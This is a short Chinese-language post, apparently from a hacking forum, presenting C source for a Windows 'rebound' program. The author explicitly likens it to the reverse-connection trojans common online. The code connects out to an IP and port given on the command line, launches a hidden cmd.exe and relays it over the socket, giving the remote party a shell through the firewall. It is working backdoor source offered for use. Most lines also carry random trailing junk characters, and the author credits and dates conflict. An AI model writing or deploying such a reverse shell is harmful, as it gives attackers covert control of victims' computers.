这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 >g !Z|ju
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/* ============================== z&H.fs L
Rebound port in Windows NT @}6<,;|DQ
By wind,2006/7 H,TApF89A
===============================*/ "=DQ { (L
#include WwsNAJ
#include 1f+A_k/@
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#pragma comment(lib,"wsock32.lib") 3A^AEO
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void OutputShell(); L@O>;zp;
SOCKET sClient; ~9o@1TO:v
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; `r1j>F7Xb
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void main(int argc,char **argv) gnZ#86sO
{ *
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WSADATA stWsaData; 6rbR0dSgx
int nRet; %pjY ^tM/
SOCKADDR_IN stSaiClient,stSaiServer; @,oc%m
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if(argc != 3) ]*zG*.C
{ Pteti
printf("Useage:\n\rRebound DestIP DestPort\n"); }^$#vJ(a7K
return; ffk>IOH
} Sydl[c pH$
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WSAStartup(MAKEWORD(2,2),&stWsaData); 3M?O(oO
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); %|x9C,0p#
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stSaiClient.sin_family = AF_INET; 3(K.:376
stSaiClient.sin_port = htons(0); (L4llZ;q
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Vp; `!+z"
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 1 .@{5f3T
{ `EgX#
printf("Bind Socket Failed!\n"); ??e|ec2%
return; (&79}IEd
} <EqS
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stSaiServer.sin_family = AF_INET; )6%*=-
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); e=h-}XRC
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); !D1#3?L
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~6t<`&f
{ 7l-MVn_8
printf("Connect Error!"); =U~53Tg
return; [@/p 8I
} g4q{
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OutputShell(); i?d545. u
} <v9IK$J
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void OutputShell() >!Y#2]@}o
{ ^7>~y(
char szBuff[1024]; x(sKkm`Q
SECURITY_ATTRIBUTES stSecurityAttributes; 00IW9B-
OSVERSIONINFO stOsversionInfo; PdVY tK%
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; M*n94L=Sg&
STARTUPINFO stStartupInfo; ;\}dQsX
char *szShell; }>AA[ba"'
PROCESS_INFORMATION stProcessInformation; VTR4uT-
unsigned long lBytesRead; v(0ujfSR0
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); cg^~P-i@*
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); *6<4ECa7C
stSecurityAttributes.lpSecurityDescriptor = 0;
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stSecurityAttributes.bInheritHandle = TRUE;
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); A-m IWTa
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); o_=4Ex
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); P=}dR&gk'
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; !/H `
stStartupInfo.wShowWindow = SW_HIDE; :Nf(:D8
stStartupInfo.hStdInput = hReadPipe; unFm~rcf
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; U.Vn|s(`z
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GetVersionEx(&stOsversionInfo); |1H9,:*%
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switch(stOsversionInfo.dwPlatformId) O0r vr$.
{ )%p46(]
case 1: QsPg4y3?D
szShell = "command.com"; \s)$[pAF
break; X!6dg.n5
default: /m>SEo\{C
szShell = "cmd.exe"; 8[,R4@
break; vv)O+xt
} P//nYPyzg
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); (bsywM
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send(sClient,szMsg,77,0); '`gnJX
JO
while(1) ^-Arfm%dn
{ #a@ jt
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 8cvSA&l(D
if(lBytesRead) 0iC5,
{ 1,zc8 >M
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); -#;ZZ\fdj
send(sClient,szBuff,lBytesRead,0); L$"x*2[A
} % &H^UxC
else BZTj>yd
{ @\gE{;a8
lBytesRead=recv(sClient,szBuff,1024,0); 6)=;cc{Vr
if(lBytesRead<=0) break; %AqI'ObC
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); O%bltNEx1
} vMX\q
} ~mvv
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return; [vuikJP>1k
}